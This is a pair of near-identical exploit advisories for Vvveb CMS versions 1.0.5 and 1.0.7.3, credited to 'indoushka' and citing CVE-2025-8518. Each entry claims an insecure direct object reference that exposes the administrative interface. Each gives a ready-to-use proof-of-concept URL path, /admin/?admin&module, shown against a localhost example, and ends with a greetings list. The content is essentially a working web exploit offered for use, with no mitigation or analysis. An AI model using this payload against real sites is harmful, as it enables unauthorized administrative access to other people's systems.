=============================================================================================================================================
| # Title     : Vvveb CMS 1.0.5 idor                                                                                                        |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://www.vvveb.com/                                                                                                      |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518

[+] Summary    : suffers from an insecure direct object reference that allows users to access the administrative interface.

[+] POC : Payload = /admin/?admin&module

use = https://127.0.0.1/nicolinc.couk/admin/?admin&module


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================



=============================================================================================================================================
| # Title     : Vvveb CMS 1.0.7.3 Idor                                                                                                      |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://www.vvveb.com/update.json                                                                                           |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518

[+] Summary    : suffers from an insecure direct object reference that allows users to access the administrative interface Without Interact.

[+] POC : Payload = /admin/?admin&module

use = https://127.0.0.1/nicolinc.couk/admin/?admin&module


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================